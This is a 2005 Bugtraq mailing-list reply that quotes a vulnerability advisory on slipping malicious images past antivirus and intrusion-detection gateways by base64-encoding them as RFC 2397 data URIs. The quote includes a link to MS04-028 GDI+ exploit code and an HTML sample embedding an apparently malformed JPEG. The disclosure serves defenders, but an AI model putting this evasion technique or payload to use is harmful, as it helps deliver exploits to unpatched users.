bugtraq - Re: Multi-vendor AV gateway image inspection bypass vulnerability

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Message-ID: <addc34c605011111146fccd84a@mail.gmail.com>
Date: Tue, 11 Jan 2005 14:14:17 -0500
From: Danny <nocmonkey@...il.com>
To: Darren Bounds <dbounds@...rusense.com>
Cc: bugs@...uritytracker.com, vulnwatch@...nwatch.org,
        bugtraq@...urityfocus.com, list@...uriteam.com,
        full-disclosure@...ts.netsys.com
Subject: Re: Multi-vendor AV gateway image inspection bypass
	vulnerability


On Mon, 10 Jan 2005 14:08:11 -0500, Darren Bounds
<dbounds@...rusense.com> wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> Multi-vendor AV gateway image inspection bypass vulnerability
> January 10, 2005
> 
> A vulnerability has been discovered which allows a remote attacker to
> bypass anti-virus
> (as well other security technologies such as IDS and IPS) inspection of
> HTTP image content.
> 
> By leveraging techniques described in RFC 2397 for base64 encoding
> image content within
> the URL scheme. A remote attack may encode a malicious image within the
> body of an HTML
> formatted document to circumvent content inspection.
> 
> For example:
> 
> http://www.k-otik.com/exploits/09222004.ms04-28-cmd.c.php
> 
> The source code at the URL above will by default create a JPEG image
> that will attempt (and fail
> without tweaking) to exploit the Microsoft MS04-028 GDI+ vulnerability.
> The image itself is detected
> by all AV gateway engines tested (Trend, Sophos and McAfee), however,
> when the same image
> is base64 encoded using the technique described in RFC 2397 (documented
> below), inspection
> is not performed and is delivered rendered by the client.
> 
> While Microsoft Internet Explorer does not support the RFC 2397 URL
> scheme; Firefox, Safari,
> Mozilla and Opera do and will render the data and thus successfully
> execute the payload if the necessary
> OS and/or application patches have not been applied.
> 
> ## BEGIN HTML ##
> 
> <html>
> <body>
> <img
> src="data:image/gif;base64,/9j/4AAQSkZJRgABAQEAYABgAAD//
> gAARXhpZgAASUkqAAgAHPD9f0FBQUGWAgAAGgAAABzw
> /X9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQAAAP/bAEMACAYGBwYFCAcHBwkJ
> CAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicgIiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv/b
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> MjIyMjIyMjIyMjIyMv/AABEIAAMAAwMBIgACEQEDEQH/xAAfAAABBQEBAQEBAQAAAAAAAAAA
> AQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGR
> oQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2Rl
> ZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbH
> yMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/xAAfAQADAQEBAQEBAQEBAAAAAAAA
> AQIDBAUGBwgJCgv/xAC1EQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgU
> QpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNk
> ZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TF
> xsfIycrS09TV1tfY2dri4+Tl5ufo6ery8/T19vf4+fr/2gAMAwEAAhEDEQA/APn+iiigD//
> Z">
> </body>
> </html>
> 
> ## END HTML ##
> 
> Solution:
> 
> While AV vendor patches are not yet available, fixes for all currently
> known image vulnerabilities are
> and have been for several months.  If you have not yet applied them,
> you have your own
> negligence to blame.
> 
> Contributions:
> 
> Thanks to Scott Roeder and Jacinto Rodriquez their assistance in
> platform testing.

I believe TrendMicro's OfficeScan (client-server scanner) will catch
it, but I am not sure about their gateway device. What was their
response?

...D
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